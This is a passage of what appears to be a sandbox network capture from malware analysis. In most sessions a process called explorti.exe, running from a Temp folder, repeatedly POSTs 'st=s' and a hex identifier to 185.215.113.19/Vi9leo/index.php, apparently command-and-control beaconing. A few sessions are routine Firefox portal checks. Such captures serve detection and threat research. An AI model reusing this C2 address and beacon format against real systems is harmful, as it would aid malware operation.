44	192.168.2.4	49540	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:51.009061098 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:51.751049995 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:51.752692938 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:51.997165918 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49541	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:52.117507935 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:52.875454903 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:52.876462936 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:53.125837088 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49544	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:53.274322033 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:54.035912037 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:54.056864023 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:54.305475950 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49545	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:54.415389061 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:55.193711042 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:55.221412897 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:55.474821091 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49548	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:55.597383976 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:56.371648073 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:56.372462988 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:56.619601011 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49549	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:56.727322102 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:57.474785089 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:57.475511074 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:57.722039938 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49551	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:57.849370956 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:58.618709087 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:58.619571924 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:58.869863033 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49552	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:59.028223991 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:59.765043020 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:59.765691996 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:40:00.014184952 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49555	34.107.221.82	80	2116	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:40:00.125358105 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 27, 2024 05:40:00.581681967 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 26 Jul 2024 14:19:52 GMT Age: 48008 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 27, 2024 05:40:04.109189034 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 27, 2024 05:40:04.206439972 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 26 Jul 2024 14:19:52 GMT Age: 48012 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 27, 2024 05:40:14.258081913 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 27, 2024 05:40:24.361881018 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 27, 2024 05:40:34.469304085 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 27, 2024 05:40:44.560959101 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49556	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:40:00.209436893 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:40:00.938498974 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:40:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:40:00.964842081 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:40:01.214776039 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:40:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49557	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:40:01.410399914 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:40:02.172633886 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:40:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:40:02.174504995 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:40:02.424019098 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:40:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49559	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:40:02.545255899 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:40:03.289423943 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:40:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:40:03.296250105 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:40:03.542401075 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:40:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49560	34.107.221.82	80	2116	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:40:02.711750984 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 27, 2024 05:40:03.162023067 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 27 Jul 2024 00:17:43 GMT Age: 12140 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 27, 2024 05:40:13.176628113 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 27, 2024 05:40:24.160923004 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 27, 2024 05:40:34.268270969 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 27, 2024 05:40:44.360476971 CEST	6	OUT	Data Raw: 00 Data Ascii:

